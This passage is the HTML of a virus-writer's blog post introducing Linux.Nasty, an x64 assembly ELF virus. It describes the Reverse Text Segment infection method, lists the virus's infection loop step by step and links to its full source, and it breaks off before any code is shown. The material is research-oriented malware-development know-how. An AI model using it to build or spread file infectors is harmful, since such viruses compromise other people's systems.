<!DOCTYPE html>
<html lang="en-US">
  <head>
    



    <meta name="generator" content="Hugo 0.54.0">
    <meta charset="utf-8">
    <script src="https://use.fontawesome.com/0ae8a400c3.js"></script>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Linux.Nasty: Assembly x64 ELF virus | TMZ Lair - Underground Coding</title>
    <meta name="description" content="Reverse Text Segment x64 ELF infector written in Assembly">
    <meta name="keywords" content="virus, linux, elf, infector, assembly, vx, malware, x64, asm, nasty, injection">
    
    
    
    
    <meta property="og:title" content="Linux.Nasty: Assembly x64 ELF virus" />
<meta property="og:description" content="Reverse Text Segment x64 ELF infector written in Assembly" />
<meta property="og:type" content="article" />
<meta property="og:url" content="https://www.guitmz.com/linux-nasty-elf-virus/" />

<meta property="og:image" content="https://i.imgur.com/5WzE11h.jpeg" />
<meta property="article:published_time" content="2022-05-18T10:52:59&#43;02:00"/>
<meta property="article:modified_time" content="2022-05-18T10:52:59&#43;02:00"/>

    <meta name="twitter:card" content="summary_large_image"/>
<meta name="twitter:image" content="https://i.imgur.com/5WzE11h.jpeg"/>

<meta name="twitter:title" content="Linux.Nasty: Assembly x64 ELF virus"/>
<meta name="twitter:description" content="Reverse Text Segment x64 ELF infector written in Assembly"/>

    




    

    
    
  <meta name="referrer" content="same-origin">


    
    
    <script integrity="sha512-2t0yyNrUdtn9WGIoBVxq5vtoJQYfoDQDbqRPpOb75f1hiL39DGLdJKDrGP60fBhXfrFeKyVhzWJvHvLgln/ElA==">/*! Fetch Inject v2.0.4 | Copyright (C) Josh Habdas <jhabdas@protonmail.com> (https://habd.as) | @license Zlib */
var fetchInject=function(){"use strict";const e=function(e,t,r,n,o,c,i){c=t.createElement(r),i=t.getElementsByTagName(r)[0],c.appendChild(t.createTextNode(n.text)),c.onload=o(n),i?i.parentNode.insertBefore(c,i):t.head.appendChild(c)};return function(t,r){if(!arguments.length)return Promise.reject(new ReferenceError("Failed to execute 'fetchInject': 1 argument required but only 0 present."));if(arguments[0]&&arguments[0].constructor!==Array)return Promise.reject(new TypeError("Failed to execute 'fetchInject': argument 1 must be of type 'Array'."));if(arguments[1]&&arguments[1].constructor!==Promise)return Promise.reject(new TypeError("Failed to execute 'fetchInject': argument 2 must be of type 'Promise'."));const n=[],o=r?[].concat(r):[],c=[];return t.forEach(e=>o.push(window.fetch(e).then(e=>[e.clone().text(),e.blob()]).then(e=>Promise.all(e).then(e=>{n.push({text:e[0],blob:e[1]})})))),Promise.all(o).then(()=>(n.forEach(t=>{c.push({then:r=>{t.blob.type.includes("text/css")?e(window,document,"style",t,r):e(window,document,"script",t,r)}})}),Promise.all(c)))}}();
</script>
    <script integrity="sha512-hno7WeTIciCJSjg/myjyK30HYkrcGCVwo4g4SpUalvrs3r2lS7bPNIQwbCNypKbg7BZ1sA4AsGnk6Gq4NOKpGA==">fetchInject(["/js/lazysizes.min.js"]);
</script>
    



    
    <link rel="canonical" href="https://www.guitmz.com/linux-nasty-elf-virus/">
    
    
    <link rel="icon" sizes="any" href="data:image/svg+xml,%3Csvg%20viewBox='0%200%2046%2045'%20xmlns='http://www.w3.org/2000/svg'%3E%3Ctitle%3EAfter%20Dark%3C/title%3E%3Cpath%20d='M.708%2045L23%20.416%2045.292%2045H.708zM35%2038L23%2019%2011%2038h24z'%20fill='lime'/%3E%3C/svg%3E">

    

  
  
  
  
  
  
  
    
      
        <style>html{font-size:12px}*{box-sizing:border-box;text-rendering:geometricPrecision}body{font-size:1rem;line-height:1.5rem;margin:0;font-family:Menlo,Monaco,Lucida Console,Liberation Mono,DejaVu Sans Mono,Bitstream Vera Sans Mono,Courier New,monospace,serif;word-wrap:break-word}h1,h2,h3,h4,h5,h6{line-height:1.3em}fieldset{border:none;padding:0;margin:0}pre{padding:2rem;margin:1.75rem 0;background-color:#fff;border:1px solid #ccc;overflow:auto}code[class*=language-],pre[class*=language-],pre code{font-weight:100;text-shadow:none;margin:1.75rem 0}a{cursor:pointer;color:#43a047;text-decoration:none;border-bottom:1px solid #43a047}a:hover{background-color:#43a047;color:#fff}.grid{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.grid.\-top{-ms-flex-align:start;align-items:flex-start}.grid.\-middle{-ms-flex-align:center;align-items:center}.grid.\-bottom{-ms-flex-align:end;align-items:flex-end}.grid.\-stretch{-ms-flex-align:stretch;align-items:stretch}.grid.\-baseline{-ms-flex-align:baseline;align-items:baseline}.grid.\-left{-ms-flex-pack:start;justify-content:flex-start}.grid.\-center{-ms-flex-pack:center;justify-content:center}.grid.\-right{-ms-flex-pack:end;justify-content:flex-end}.grid.\-between{-ms-flex-pack:justify;justify-content:space-between}.grid.\-around{-ms-flex-pack:distribute;justify-content:space-around}.cell{-ms-flex:1;flex:1;box-sizing:border-box}@media screen and (min-width:768px){.cell.\-1of12{-ms-flex:0 0 8.33333%;flex:0 0 8.33333%}.cell.\-2of12{-ms-flex:0 0 16.66667%;flex:0 0 16.66667%}.cell.\-3of12{-ms-flex:0 0 25%;flex:0 0 25%}.cell.\-4of12{-ms-flex:0 0 33.33333%;flex:0 0 33.33333%}.cell.\-5of12{-ms-flex:0 0 41.66667%;flex:0 0 41.66667%}.cell.\-6of12{-ms-flex:0 0 50%;flex:0 0 50%}.cell.\-7of12{-ms-flex:0 0 58.33333%;flex:0 0 58.33333%}.cell.\-8of12{-ms-flex:0 0 66.66667%;flex:0 0 66.66667%}.cell.\-9of12{-ms-flex:0 0 75%;flex:0 0 75%}.cell.\-10of12{-ms-flex:0 0 83.33333%;flex:0 0 83.33333%}.cell.\-11of12{-ms-flex:0 0 91.66667%;flex:0 0 91.66667%}}@media screen and (max-width:768px){.grid{-ms-flex-direction:column;flex-direction:column}.cell{-ms-flex:0 0 auto;flex:0 0 auto}}.hack,.hack blockquote,.hack code,.hack em,.hack h1,.hack h2,.hack h3,.hack h4,.hack h5,.hack h6,.hack strong{font-size:1rem;font-style:normal;font-family:Menlo,Monaco,Lucida Console,Liberation Mono,DejaVu Sans Mono,Bitstream Vera Sans Mono,Courier New,monospace,serif}.hack blockquote,.hack code,.hack em,.hack strong{line-height:20px}.hack blockquote,.hack code,.hack footer,.hack h1,.hack h2,.hack h3,.hack h4,.hack h5,.hack h6,.hack header,.hack li,.hack ol,.hack p,.hack section,.hack ul{float:none;margin:0;padding:0}.hack blockquote,.hack h1,.hack ol,.hack p,.hack ul{margin-top:20px;margin-bottom:20px}.hack h1{position:relative;display:inline-block;display:table-cell;padding:20px 0 30px;margin:0;overflow:hidden}.hack h1:after{content:"====================================================================================================";position:absolute;bottom:10px;left:0}.hack h1+*{margin-top:0}.hack h2,.hack h3,.hack h4,.hack h5,.hack h6{position:relative;margin-bottom:1.75rem}.hack h2:before,.hack h3:before,.hack h4:before,.hack h5:before,.hack h6:before{display:inline}.hack h2:before{content:"## "}.hack h3:before{content:"### "}.hack h4:before{content:"#### "}.hack h5:before{content:"##### "}.hack h6:before{content:"###### "}.hack li{position:relative;display:block;padding-left:20px}.hack li:after{position:absolute;top:0;left:0}.hack ul>li:after{content:"-"}.hack ol{counter-reset:a}.hack ol>li:after{content:counter(a) ".";counter-increment:a}.hack ol li:nth-child(n+10):after{left:-7px}.hack blockquote{position:relative;padding-left:17px;padding-left:2ch;overflow:hidden}.hack blockquote:after{content:">\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>";white-space:pre;position:absolute;top:0;left:0;line-height:20px}.hack em:after,.hack em:before{content:"*";display:inline}.hack pre code:after,.hack pre code:before{content:""}.hack code{font-weight:700}.hack code:after,.hack code:before{content:"`";display:inline}.hack hr{position:relative;height:20px;overflow:hidden;border:0;margin:20px 0}.hack hr:after{content:"----------------------------------------------------------------------------------------------------";position:absolute;top:0;left:0;line-height:20px;width:100%;word-wrap:break-word}@-moz-document url-prefix(){.hack h1{display:block}}.hack-ones ol>li:after{content:"1."}p{margin:0 0 1.75rem}.container{max-width:70rem}.container,.container-fluid{margin:0 auto;padding:0 1rem}.inner{padding:1rem}.inner2x{padding:2rem}.pull-left{float:left}.pull-right{float:right}.progress-bar{height:8px;opacity:.8;background-color:#ccc;margin-top:12px}.progress-bar.progress-bar-show-percent{margin-top:38px}.progress-bar-filled{background-color:gray;height:100%;transition:width .3s ease;position:relative;width:0}.progress-bar-filled:before{content:"";border:6px solid transparent;border-top-color:gray;position:absolute;top:-12px;right:-6px}.progress-bar-filled:after{color:gray;content:attr(data-filled);display:block;font-size:12px;white-space:nowrap;position:absolute;border:6px solid transparent;top:-38px;right:0;-ms-transform:translateX(50%);transform:translateX(50%)}table{width:100%;border-collapse:collapse;margin:1.75rem 0;color:#778087}table td,table th{vertical-align:top;border:1px solid #ccc;line-height:15px;padding:10px}table thead th{font-size:10px}table tbody td:first-child{font-weight:700;color:#333}.form{width:30rem}.form-group{margin-bottom:1.75rem;overflow:auto}.form-group label{border-bottom:2px solid #ccc;color:#333;width:10rem;display:inline-block;height:38px;line-height:38px;padding:0;float:left;position:relative}.form-group.form-success label{color:#4caf50!important;border-color:#4caf50!important}.form-group.form-warning label{color:#ff9800!important;border-color:#ff9800!important}.form-group.form-error label{color:#f44336!important;border-color:#f44336!important}.form-control{outline:none;border:none;border-bottom:2px solid #ccc;padding:.5rem 0;width:20rem;height:38px;background-color:transparent}.form-control:focus{border-color:#555}.form-group.form-textarea label:after{position:absolute;content:"";width:2px;background-color:#fff;right:-2px;top:0;bottom:0}textarea.form-control{height:auto;resize:none;padding:1rem 0;border-bottom:2px solid #ccc;border-left:2px solid #ccc;padding:.5rem}select.form-control{border-radius:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;-ms-appearance:none}.help-block{color:#999;margin-top:.5rem}.form-actions{margin-bottom:1.75rem}.btn{display:-ms-inline-flexbox;display:inline-flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;cursor:pointer;outline:none;padding:.65rem 2rem;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;position:relative;z-index:1}.btn:active{box-shadow:inset 0 1px 3px rgba(0,0,0,.12)}.btn.btn-ghost{border-color:#757575;color:#757575;background-color:transparent}.btn.btn-ghost:focus,.btn.btn-ghost:hover{border-color:#424242;color:#424242;z-index:2}.btn.btn-ghost:hover{background-color:transparent}.btn-block{width:100%;display:-ms-flexbox;display:flex}.btn-default{color:#fff;background-color:#e0e0e0;border:1px solid #e0e0e0;color:#333}.btn-default:focus:not(.btn-ghost),.btn-default:hover{background-color:#dcdcdc;border-color:#dcdcdc}.btn-success{color:#fff;background-color:#4caf50;border:1px solid #4caf50}.btn-success:focus:not(.btn-ghost),.btn-success:hover{background-color:#43a047;border-color:#43a047}.btn-success.btn-ghost{border-color:#4caf50;color:#4caf50}.btn-success.btn-ghost:focus,.btn-success.btn-ghost:hover{border-color:#388e3c;color:#388e3c;z-index:2}.btn-error{color:#fff;background-color:#f44336;border:1px solid #f44336}.btn-error:focus:not(.btn-ghost),.btn-error:hover{background-color:#e53935;border-color:#e53935}.btn-error.btn-ghost{border-color:#f44336;color:#f44336}.btn-error.btn-ghost:focus,.btn-error.btn-ghost:hover{border-color:#d32f2f;color:#d32f2f;z-index:2}.btn-warning{color:#fff;background-color:#ff9800;border:1px solid #ff9800}.btn-warning:focus:not(.btn-ghost),.btn-warning:hover{background-color:#fb8c00;border-color:#fb8c00}.btn-warning.btn-ghost{border-color:#ff9800;color:#ff9800}.btn-warning.btn-ghost:focus,.btn-warning.btn-ghost:hover{border-color:#f57c00;color:#f57c00;z-index:2}.btn-info{color:#fff;background-color:#00bcd4;border:1px solid #00bcd4}.btn-info:focus:not(.btn-ghost),.btn-info:hover{background-color:#00acc1;border-color:#00acc1}.btn-info.btn-ghost{border-color:#00bcd4;color:#00bcd4}.btn-info.btn-ghost:focus,.btn-info.btn-ghost:hover{border-color:#0097a7;color:#0097a7;z-index:2}.btn-primary{color:#fff;background-color:#2196f3;border:1px solid #2196f3}.btn-primary:focus:not(.btn-ghost),.btn-primary:hover{background-color:#1e88e5;border-color:#1e88e5}.btn-primary.btn-ghost{border-color:#2196f3;color:#2196f3}.btn-primary.btn-ghost:focus,.btn-primary.btn-ghost:hover{border-color:#1976d2;color:#1976d2;z-index:2}.btn-group{overflow:auto}.btn-group .btn{float:left}.btn-group .btn-ghost:not(:first-child){margin-left:-1px}.card{border:1px solid #ccc}.card .card-header{color:#333;text-align:center;background-color:#ddd;padding:.5rem 0}.alert{color:#ccc;padding:1rem;border:1px solid #ccc;margin-bottom:1.75rem}.alert-success{color:#4caf50;border-color:#4caf50}.alert-error{color:#f44336;border-color:#f44336}.alert-info{color:#00bcd4;border-color:#00bcd4}.alert-warning{color:#ff9800;border-color:#ff9800}.media:not(:last-child){margin-bottom:1.25rem}.media-left{padding-right:1rem}.media-left,.media-right{display:table-cell;vertical-align:top}.media-right{padding-left:1rem}.media-body{display:table-cell;vertical-align:top}.media-heading{font-size:1.16667rem;font-weight:700}.media-content{margin-top:.3rem}.avatarholder,.placeholder{background-color:#f0f0f0;text-align:center;color:#b9b9b9;font-size:1rem;border:1px solid #f0f0f0}.avatarholder{width:48px;height:48px;line-height:46px;font-size:2rem;background-size:cover;background-position:50%;background-repeat:no-repeat}.avatarholder.rounded{border-radius:33px}.loading{display:inline-block;content:"&nbsp;";height:20px;width:20px;margin:0 .5rem;animation:a .6s infinite linear;border:2px solid #e91e63;border-right-color:transparent;border-radius:50%}.btn .loading{margin-bottom:0;width:14px;height:14px}.btn div.loading{float:left}.alert .loading{margin-bottom:-5px}@keyframes a{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}.menu{width:100%}.menu .menu-item{display:block;color:#616161;border-color:#616161}.menu .menu-item.active,.menu .menu-item:hover{color:#000;border-color:#000;background-color:transparent}@media screen and (max-width:768px){.form-group label{display:block;border-bottom:none;width:100%}.form-group.form-textarea label:after{display:none}.form-control{width:100%}textarea.form-control{border-left:none;padding:.5rem 0}pre::-webkit-scrollbar{height:3px}}@media screen and (max-width:480px){.form{width:100%}}
.dark-grey{background-color:#181818;color:#ccc}.dark-grey pre{background-color:#181818;padding:0;border:none}.dark-grey pre code{color:#00bcd4}.dark-grey h1 a,.dark-grey h2 a,.dark-grey h3 a,.dark-grey h4 a,.dark-grey h5 a{color:#ccc}.dark-grey code,.dark-grey strong{color:#fff}.dark-grey code{font-weight:100}.dark-grey table{color:#ccc}.dark-grey table td,.dark-grey table th{border-color:#444}.dark-grey table tbody td:first-child{color:#fff}.dark-grey .form-group label{color:#ccc;border-color:rgba(95,95,95,.78)}.dark-grey .form-group.form-textarea label:after{background-color:#181818}.dark-grey .form-control{color:#ccc;border-color:rgba(95,95,95,.78)}.dark-grey .form-control:focus{border-color:#ccc;color:#ccc}.dark-grey textarea.form-control{color:#ccc}.dark-grey .card{border-color:rgba(95,95,95,.78)}.dark-grey .card .card-header{background-color:transparent;color:#ccc;border-bottom:1px solid rgba(95,95,95,.78)}.dark-grey .btn.btn-ghost.btn-default{border-color:#ababab;color:#ababab}.dark-grey .btn.btn-ghost.btn-default:focus,.dark-grey .btn.btn-ghost.btn-default:hover{border-color:#9c9c9c;color:#9c9c9c;z-index:1}.dark-grey .btn.btn-ghost.btn-default:focus,.dark-grey .btn.btn-ghost.btn-default:hover{border-color:#e0e0e0;color:#e0e0e0}.dark-grey .btn.btn-ghost.btn-primary:focus,.dark-grey .btn.btn-ghost.btn-primary:hover{border-color:#64b5f6;color:#64b5f6}.dark-grey .btn.btn-ghost.btn-success:focus,.dark-grey .btn.btn-ghost.btn-success:hover{border-color:#81c784;color:#81c784}.dark-grey .btn.btn-ghost.btn-info:focus,.dark-grey .btn.btn-ghost.btn-info:hover{border-color:#4dd0e1;color:#4dd0e1}.dark-grey .btn.btn-ghost.btn-error:focus,.dark-grey .btn.btn-ghost.btn-error:hover{border-color:#e57373;color:#e57373}.dark-grey .btn.btn-ghost.btn-warning:focus,.dark-grey .btn.btn-ghost.btn-warning:hover{border-color:#ffb74d;color:#ffb74d}.dark-grey .avatarholder,.dark-grey .placeholder{background-color:transparent;border-color:#333}.dark-grey .menu .menu-item{color:#ccc;border-color:rgba(95,95,95,.78)}.dark-grey .menu .menu-item.active,.dark-grey .menu .menu-item:hover{color:#fff;border-color:#ccc}:root{scroll-behavior:smooth;--screen-size-small: 30em}@keyframes intro{0%{opacity:0}100%{opacity:1}}.blur-up{-webkit-filter:blur(5px);filter:blur(5px);transition:filter 400ms,-webkit-filter 400ms}.blur-up.lazyloaded{-webkit-filter:blur(0);filter:blur(0)}.hack .readmore{margin-bottom:2.2em}.responsive-iframe{position:relative;padding-bottom:56.25%;padding-top:25px;height:0}.responsive-iframe iframe{position:absolute;top:0;left:0;width:100%;height:100%}iframe{border:0}main,footer{animation:intro .3s both;animation-delay:.15s}header:first-of-type+details{margin-top:1rem}footer time[datetime$=M]:before{content:"\2013\0020"}body>footer p.muted{margin-bottom:0}@media only screen and (max-width:768px){footer time[datetime$=M]{display:none}}blockquote cite{display:block}blockquote cite::before{content:"\2014\00A0"}:target{filter:brightness(1.2)}:disabled{cursor:not-allowed}#search-app [v-cloak]{display:none}.hack li ul{margin:0}.hack ol li{padding-left:27px}.main{padding:20px 10px}input.form-control{border-radius:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;-ms-appearance:none}input.form-control,textarea.form-control,select.form-control,.help-block{font-size:initial}@media only screen and (max-width:768px){.help-block{font-size:unset}}html{font-size:13px}.hack .form input,.hack .form textarea,.hack .form button,.hack .form label{font-size:1rem}.hack .alert .highlight:first-of-type .chroma,.hack .card .highlight:first-of-type .chroma{margin-top:unset}.hack .alert .highlight:last-of-type .chroma,.hack .card .highlight:last-of-type .chroma{margin-bottom:unset}.hack blockquote,.hack blockquote:after{line-height:1.5}.hack figure{margin:unset}.hack figure a{border-bottom:none}.hack figure a:hover{background-color:inherit}article [itemprop=description]{margin-bottom:20px;margin-top:20px}article header img{width:100%;border-radius:3px}table td,table th{line-height:inherit}table a{border-bottom:unset}img{max-width:100%}@media only screen and (min-width:768px){html{font-size:16px;margin-left:calc(100vw - 100%)}.container{max-width:50rem}}a[rel*="external"]::after {
  content: " " url("data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20class='i-external'%20viewBox='0%200%2032%2032'%20width='14'%20height='14'%20fill='none'%20stroke='%23ff9800'%20stroke-linecap='round'%20stroke-linejoin='round'%20stroke-width='9.38%'%3E%3Cpath%20d='M14%209%20L3%209%203%2029%2023%2029%2023%2018%20M18%204%20L28%204%2028%2014%20M28%204%20L14%2018'/%3E%3C/svg%3E");
}
nav a.active {
  background-color: #43a047;
  color: #fff;
}
a[itemprop="url"] {
  color: #ff9800;
}
a[itemprop="url"]:hover {
  color: #fff;
}
.muted, .help-block {
  opacity: 0.70;
}
.hack .muted,
.hack .help-block {
  color: #e0e0e0;
}

ul.social-icons {
  float: right;
  margin: 0;
  padding: 0;
  margin-block-start: 1em;
  margin-block-end: 1em;
  margin-inline-start: 0px;
  margin-inline-end: 0px;
  padding-inline-start: 40px;
  text-align: center;
  padding-top: 15px;
}

li.social-icons {
  display: inline-block;
  margin: 0 5px;
  list-style-type: circle;
}

a.social-icons {
  border-bottom: 0px;
  background-color: transparent;
  color: #ccc;
}

.highlight,pre.highlight{background:#282c34;color:#abb2bf}.highlight pre{background:#282c34;padding:1em;border:1px solid #ddd;background-color:#181818;box-shadow:5px 5px 5px #306734;}.highlight .ge{font-style:italic}.highlight .gs{font-weight:700}.highlight .ow{font-weight:700}.highlight .n,.highlight .nf,.highlight .nn,.highlight .o,.highlight .p{color:#abb2bf}.highlight .c,.highlight .c1,.highlight .cm,.highlight .cp,.highlight .cs{color:#5c6370;font-style:italic}.highlight .sr,.highlight .ss{color:#56b6c2}.highlight .k,.highlight .kc,.highlight .kd,.highlight .kn,.highlight .kp,.highlight .kr,.highlight .kt{color:#c678dd}.highlight .l,.highlight .ld,.highlight .s,.highlight .s1,.highlight .s2,.highlight .sb,.highlight .sc,.highlight .sd,.highlight .se,.highlight .sh,.highlight .si,.highlight .sx{color:#98c379}.highlight .nt,.highlight .nx,.highlight .vi{color:#e06c75}.highlight .il,.highlight .m,.highlight .mf,.highlight .mh,.highlight .mi,.highlight .mo,.highlight .na{color:#d19a66}.highlight .bp,.highlight .nb,.highlight .nc,.highlight .nd,.highlight .ne,.highlight .ni,.highlight .nl,.highlight .no,.highlight .nv,.highlight .py,.highlight .vc,.highlight .vg{color:#e5c07b}.highlight .err{color:#fff;background-color:#e05252}.highlight .gd{color:#e05252}.highlight .gi{color:#43d08a}.highlight .w{color:#f8f8f2}.highlight .cpf{color:#4146ff}.highlight .gu{color:#75715e}.highlight .lineno{color:#636d83;user-select:none}.highlight .hll{color:#abb2bf;background-color:#2c313a}.highlight .language-json .w+.s2{color:#e06c75}.highlight .language-json .kc{color:#56b6c2}
</style>
        


  
    <meta name="theme-color" content=#181818>
  



      
    
  


    
    
      <script integrity="sha512-ISTAV0GadOIz/NXXHOS+eCM0ysXVVHhQTlvA6LJxz/DeA5yIxm0Vqf5IE+WH0yuuXkayAKtoZkQ326nch5f/fg==">fetchInject(["/css/syntax.css"]);</script>
      <noscript>
        <link href='https://d33wubrfki0l68.cloudfront.net/css/f3286ee8361fb56b8999bf51aea6a9a6b838e21e/css/syntax.css' rel='stylesheet'/>
      </noscript>
    
  <script async defer data-website-id="223fa4d8-c531-46da-b646-d2a7cabe0c94" src="https://umami.guitmz.com/umami.js"></script></head>
  
  
  
  <body class="dark dark-grey main container">
    <ul class="social-icons">
	<li class="social-icons"><a href="http://twitter.com/share?url=https%3a%2f%2fwww.guitmz.com%2flinux-nasty-elf-virus%2f&text=Linux.Nasty%3a%20Assembly%20x64%20ELF%20virus%20" target="_blank" class="social-icons"><i class="fa fa-twitter fa-lg"></i></a></li>
	<li class="social-icons"><a href="http://www.facebook.com/sharer.php?u=https%3a%2f%2fwww.guitmz.com%2flinux-nasty-elf-virus%2f" class="social-icons" target="_blank"><i class="fa fa-facebook fa-lg"></i></a></li>
	<li class="social-icons"><a href="http://reddit.com/submit?url=https%3a%2f%2fwww.guitmz.com%2flinux-nasty-elf-virus%2f&amp;title=Linux.Nasty%3a%20Assembly%20x64%20ELF%20virus" class="social-icons" target="_blank"><i class="fa fa-reddit-alien fa-lg"></i></a></li>
	<li class="social-icons"><a href="https://news.ycombinator.com/submitlink?u=https%3a%2f%2fwww.guitmz.com%2flinux-nasty-elf-virus%2f&amp;t=Linux.Nasty%3a%20Assembly%20x64%20ELF%20virus" class="social-icons" target="_blank"><i class="fa fa-hacker-news fa-lg"></i></a></li>
	<li class="social-icons"><a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=https%3a%2f%2fwww.guitmz.com%2flinux-nasty-elf-virus%2f&amp;title=Linux.Nasty%3a%20Assembly%20x64%20ELF%20virus" class="social-icons" target="_blank"><i class="fa fa-linkedin fa-lg"></i></a></li>
	<li class="social-icons"><a href="mailto:?Subject=Linux.Nasty%3a%20Assembly%20x64%20ELF%20virus&amp;Body=https%3a%2f%2fwww.guitmz.com%2flinux-nasty-elf-virus%2f" class="social-icons" target="_blank"><i class="fa fa-envelope-o fa-lg"></i></a></li>
</ul>

    <header>
  

  
    
      
  <nav itemscope itemtype="https://schema.org/SiteNavigationElement">
    <meta itemprop="name" content="Main Menu">
    
      
      
        <a itemprop="url" href="/">Home</a>
      
    
      
      
        <a itemprop="url" class="active" href="/post/">Posts</a>
      
    
      
      
        <a itemprop="url" href="/about/">About</a>
      
    
      
      
        <a itemprop="url" href="/search/">Search</a>
      
    
  </nav>


    
  


</header>
    <main>
  <article itemscope itemtype="https://schema.org/BlogPosting">
    
<meta itemprop="name" content="Linux.Nasty: Assembly x64 ELF virus">
<meta itemprop="description" content="Reverse Text Segment x64 ELF infector written in Assembly">


<meta itemprop="datePublished" content="2022-05-18T10:52:59&#43;02:00" />
<meta itemprop="dateModified" content="2022-05-18T10:52:59&#43;02:00" />
<meta itemprop="wordCount" content="3682">

  <meta itemprop="image" content="https://i.imgur.com/5WzE11h.jpeg">



<meta itemprop="keywords" content="virus,linux,elf,infector,assembly,vx,malware,x64,asm,nasty,injection," />

    <header>
      <h1 itemprop="headline name">Linux.Nasty: Assembly x64 ELF virus</h1>
      <p class="muted">
        <svg style="margin-bottom:-3px" class="i-clock" viewBox="0 0 32 32" width="16" height="16" fill="none" stroke="currentcolor" stroke-linecap="round" stroke-linejoin="round" stroke-width="6.25%">
  <circle cx="16" cy="16" r="14" />
  <path d="M16 8 L16 16 20 20" />
</svg>
<span>18 minute read</span>
<svg style="margin-bottom: -3px" class="i-edit" viewBox="0 0 32 32" width="16" height="16" fill="none" stroke="currentcolor" stroke-linecap="round" stroke-linejoin="round" stroke-width="6.25%">
  <path d="M30 7 L25 2 5 22 3 29 10 27 Z M21 6 L26 11 Z M5 22 L10 27 Z" />
</svg>

  Published: <time datetime="2022-05-18T10:52:59&#43;02:00">18 May, 2022</time>


      </p>
      
        <blockquote itemprop="description">Reverse Text Segment x64 ELF infector written in Assembly</blockquote>
      
      
    </header>
    
  <details>
    <summary>Table of Contents</summary>
    <nav id="TableOfContents">
<ul>
<li>
<ul>
<li><a href="#overview">Overview</a></li>
<li><a href="#how-it-works">How it works</a></li>
<li><a href="#code">Code</a>
<ul>
<li><a href="#first-things-first">First things first</a></li>
<li><a href="#target-acquired">Target acquired</a></li>
<li><a href="#crafting-something-great">Crafting something great</a></li>
<li><a href="#ciao">Ciao</a></li>
</ul></li>
<li><a href="#demo">Demo</a></li>
<li><a href="#outro">Outro</a></li>
</ul></li>
</ul>
</nav>
  </details>


    <div itemprop="articleBody">
      
      

<h2 id="overview">Overview</h2>

<p>This code was originally published in the first issue of <a href="https://tmpout.sh/">tmp.0ut</a> zine - an <em>ELF Research Group</em> founded by me and a super talented group of friends in early 2021. This project was finished literally minutes before the deadline we set. Living on the edge!</p>

<p>In general, it took me around a couple of months to complete it, most of the
time was dedicated to its core infection routine since the auxiliary sections
are common file I/O operations that I&rsquo;m already familiar with. It was somewhat
more challenging than
<a href="https://www.guitmz.com/linux-midrashim-elf-virus/">Linux.Midrashim</a> as the
technique used here is not as trivial to implement and I want to thank everyone
that helped me debug the final version. It was great to have those sessions with
all of you, I learned a lot.</p>

<p>This is the fruit of an internal project we had in mind back then. Create an
Assembly version of the most common <a href="https://web.archive.org/web/20210420163849/https://ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuunix01.htm">ELF infection
techniques</a>
out there for demonstration and research purposes.</p>

<ul>
<li><em>Linux.Midrashim</em> was my first one (<strong>PT_NOTE -&gt; PT_LOAD</strong> technique).</li>
<li><em>Linux.Nasty</em> (Reverse Text Segment technique).</li>
</ul>

<p>As always (again), the payload is non-destructive, detection is easy and samples were shared with relevant AV companies before release.</p>

<h2 id="how-it-works">How it works</h2>

<p><code>Linux.Nasty</code> is a <em>64 bits</em> Linux infector that targets ELF files in the current
directory (non recursively). It uses the <code>Reverse Text Segment</code> infection
technique and will only work on regular ELF executables (the
design of this method, unfortunately, prevents it from working with <a href="https://www.redhat.com/en/blog/position-independent-executables-pie">PIE</a>). Quoting <strong>chapter 4</strong> of the book <a href="https://www.packtpub.com/product/learning-linux-binary-analysis/9781782167105">Learning Linux Binary Analysis by Ryan elfmaster O&rsquo;Neill</a>, which is awesome and you should check it out:</p>





<div class="alert ">
  

"The idea is that a virus or parasite can make room for its code by extending the text segment in reverse. The program header for the text segment will look strange if you know what you're looking for."


</div>



<p>Here&rsquo;s the infected file layout (taken from the book mentioned above, slightly modified - <a href="https://i.imgur.com/4t71E9S.png">full image</a>):</p>

<p style="text-align:center;">
<img
  data-sizes="auto"
  data-src="https://i.imgur.com/4t71E9S.png"
  data-srcset="https://i.imgur.com/4t71E9S.png 1500w"
  class="lazyload"
/>
</p>

<p>This project was inspired largely by <a href="https://github.com/elfmaster/skeksi_virus">elfmasters Skeksi</a> but the algorithm is slightly modified. Also check the original <a href="https://web.archive.org/web/20210420163849/https://ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuunix01.htm#11">paper</a> by <em>Silvio Cesare</em>.</p>

<h2 id="code">Code</h2>

<p>The virus must be assembled with <a href="https://flatassembler.net/">FASM</a> x64 and its core functionality consists of:</p>

<ul>
<li>Reserving space on stack to store some values in memory;</li>
<li>Using actual Assembly structs (not like in
<a href="https://github.com/guitmz/midrashim/blob/main/Linux.Midrashim.asm#L34-L59">Linux.Midrashim</a>
where I simply used the stack without any Assembly syntax). Improves readability without affecting its functionality in general;</li>
<li>Loop through files in the current directory, checking for targets for infection;</li>
<li>Try to infect target file (map it to memory, check if it is a good candidate for infection, etc);</li>
<li>Continue looping the directory until no more infection targets are available, then exit;</li>
<li>The code could be somewhat unreliable as of time of writing because it was a
bit rushed so you might need to fix a thing or two before using it on a
different system much than the one I used for development (<em>FASM 1.73.27 on Linux 5.11.14-gentoo</em>).</li>
</ul>

<p>The full code with comments is available at <a href="https://github.com/guitmz/nasty">https://github.com/guitmz/nasty</a> and we&rsquo;ll now go over each step above with a bit more detail.</p>

